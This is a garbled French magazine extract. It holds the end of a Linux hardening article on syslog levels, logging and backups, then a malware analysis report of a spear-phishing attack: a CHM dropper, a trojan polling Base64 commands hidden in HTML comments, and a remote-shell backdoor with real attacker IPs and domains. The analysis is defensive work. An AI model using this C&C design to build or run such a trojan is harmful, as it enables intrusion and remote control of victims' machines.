Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

